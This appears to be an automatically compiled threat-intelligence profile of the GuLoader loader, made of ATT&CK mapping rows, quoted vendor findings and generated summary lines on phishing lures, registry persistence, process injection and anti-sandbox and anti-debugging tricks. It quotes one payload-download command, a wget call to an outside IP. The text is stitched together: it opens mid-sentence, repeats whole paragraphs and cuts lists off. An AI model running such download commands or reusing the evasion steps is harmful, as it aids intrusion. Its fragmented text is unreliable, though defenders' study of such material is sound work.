GuLoader

campaigns using RaccoonO365 have been active since September 2024. These attacks typically mimic trusted brands like Microsoft, DocuSign, SharePoint, Adobe, and Maersk in fraudulent emails, tricking them into clicking on lookalike pages that are designed to capture victims' Microsoft 365 usernames and passwords.

MITRE ATT&CK Mapping Tactic Technique ID Implementation Initial Access Spearphishing Attachment T1566.001 .bat/.exe email attachments with BEC lures

The purpose of this code is to call the PowerShell interpreter and pass it the code of the script collected in the “pa0” variable as a parameter.

Currently, the most common versions are based on the VBScript and the NSIS installer... VBScript itself contains only a small obfuscated PowerShell script and a lot of junk code.

The content repeatedly mentions malicious macros in Word/Excel documents, such as "enable macros," "embedded macros," and "macro-enabled documents."

MITRE ATT&CK Mapping Tactic Technique ID Implementation Execution Native API T1106 System.dll calls VirtualAlloc, CallWindowProcA

The content repeatedly describes victims being lured into opening malicious attachments, enabling macros, launching installers, clicking embedded files/links, or otherwise directly executing malicious content.

Earlier this April, the Redmond-based company warned of several phishing campaigns leveraging tax-related themes to deploy malware such as Latrodectus, AHKBot, GuLoader, and BruteRatel C4 (BRc4). The phishing pages, it added, were delivered via RaccoonO365

Across the content, malware repeatedly 'adds Registry Run keys', 'creates Registry entries', 'modifies the Windows Registry', or 'overwrites registry keys' to maintain persistence.

The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, or .lnk files in the Startup folder. | Examples include AppleSeed creating 'HKCU\Software\Microsoft/Windows\CurrentVersion\RunOnce', AvosLocker executed via the RunOnce Registry key, NanoCore creating a RunOnce key, and Raspberry Robin setting a RunOnce key.

The content repeatedly describes adversaries and malware injecting code, shellcode, DLLs, or payloads into legitimate processes such as svchost.exe, explorer.exe, iexplore.exe, wuauclt.exe, lsass.exe, and browser processes.

GuLoader has the ability to inject shellcode into donor processes that is started in a suspended state. Cardinal RAT injects into a newly spawned process created from a native Windows executable. Pandora can start and inject code into a new svchost process. ShadowPad has injected an install module into a newly created process.

The content repeatedly describes malware and threat actors establishing persistence by adding values under HKCU/HKLM\Software\Microsoft\Windows\CurrentVersion\Run or RunOnce, and by placing executables, scripts, or .lnk files in the Startup folder. | Examples include AppleSeed creating 'HKCU\Software\Microsoft/Windows\CurrentVersion\RunOnce', AvosLocker executed via the RunOnce Registry key, NanoCore creating a RunOnce key, and Raspberry Robin setting a RunOnce key.

GuLoader’s payload is fully encrypted, including PE headers... Earlier versions of GuLoader were implemented as VB6 applications containing encrypted shellcode. Currently, the most common versions are based on the VBScript and the NSIS installer.

MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Binary Padding T1027.001 Single-byte fill files to inflate archive size

MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Software Packing T1027.002 NSIS wrapper as legitimate installer framework

"The .lnk file also includes an innocuous .pdf file that launches in parallel with the malicious activity"

MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Masquerading: Match Legitimate Extension T1036.008 .bat extension on PE executable

The content repeatedly describes adversaries and malware injecting code, shellcode, DLLs, or payloads into legitimate processes such as svchost.exe, explorer.exe, iexplore.exe, wuauclt.exe, lsass.exe, and browser processes.

GuLoader has the ability to inject shellcode into donor processes that is started in a suspended state. Cardinal RAT injects into a newly spawned process created from a native Windows executable. Pandora can start and inject code into a new svchost process. ShadowPad has injected an install module into a newly created process.

The content repeatedly describes threat actors and malware deleting files, tools, scripts, logs, droppers, staged data, and artifacts from compromised systems to cover tracks, remove evidence, or self-delete.

As in previous GuLoader versions, the shellcode implements a large number of anti-analysis techniques: Sandbox evasion techniques including: Scanning memory for VM-related strings. Checking if the hypervisor bit is enabled, using CPUID instruction... Measuring time, using RDTSC... Searching for QEMU related files... Counting the number of Windows... Checking if there are any VM-related drivers present... Enumerating installed software...

Checking if the hypervisor bit is enabled, using CPUID instruction... Searching for QEMU related files... Counting the number of Windows... Checking if there are any VM-related drivers present... Enumerating installed software...

the script allocates 2 memory areas, downloads the data from the link to Google Drive, and saves it to a temporary file “%APPDATA%\Umig.For”.

the loader... decrypts and runs it in memory without dropping the decrypted data to the hard drive.

Anti-debugging techniques: Hooking the functions DbgBreakPoint and DbgUiRemoveBreakIn to prevent the debugger from attaching. Hiding the main thread from the debugger calling the NtSetInformationThread function with the ThreadHideFromDebugger value.

Across the content, malware repeatedly 'adds Registry Run keys', 'creates Registry entries', 'modifies the Windows Registry', or 'overwrites registry keys' to maintain persistence.

MITRE ATT&CK Mapping Tactic Technique ID Implementation Defense Evasion Subvert Trust Controls: Code Signing T1553.002 Fraudulent self-signed cert with DigiCert timestamp

As in previous GuLoader versions, the shellcode implements a large number of anti-analysis techniques: Sandbox evasion techniques including: Scanning memory for VM-related strings. Checking if the hypervisor bit is enabled, using CPUID instruction... Measuring time, using RDTSC... Searching for QEMU related files... Counting the number of Windows... Checking if there are any VM-related drivers present... Enumerating installed software...

Checking if the hypervisor bit is enabled, using CPUID instruction... Searching for QEMU related files... Counting the number of Windows... Checking if there are any VM-related drivers present... Enumerating installed software...

Enumerating installed software, using the MsiEnumProductsA and MsiGetProductInfoA.

Anti-debugging techniques: Hooking the functions DbgBreakPoint and DbgUiRemoveBreakIn to prevent the debugger from attaching. Hiding the main thread from the debugger calling the NtSetInformationThread function with the ThreadHideFromDebugger value.

The most significant technical change is where the malware stores its core configuration. Rather than embedding C2 URLs as readable strings, the authors have moved that data into the .NET resource section, scrambled with XOR encoding.

The content repeatedly describes threat actors, malware, and campaigns using HTTP and/or HTTPS for command and control, including examples such as BlackEnergy communicating with C2 over HTTP POST requests and many other families using HTTP/S for C2.

Examples include: 'APT41 used HTTP to download payloads for CVE-2019-19781 and CVE-2020-10189 exploits,' 'APT41 ran wget http://103.224.80[.]44:8080/kernel to download malicious payloads,' and many malware families used HTTP GET/POST or HTTPS to download additional payloads or files.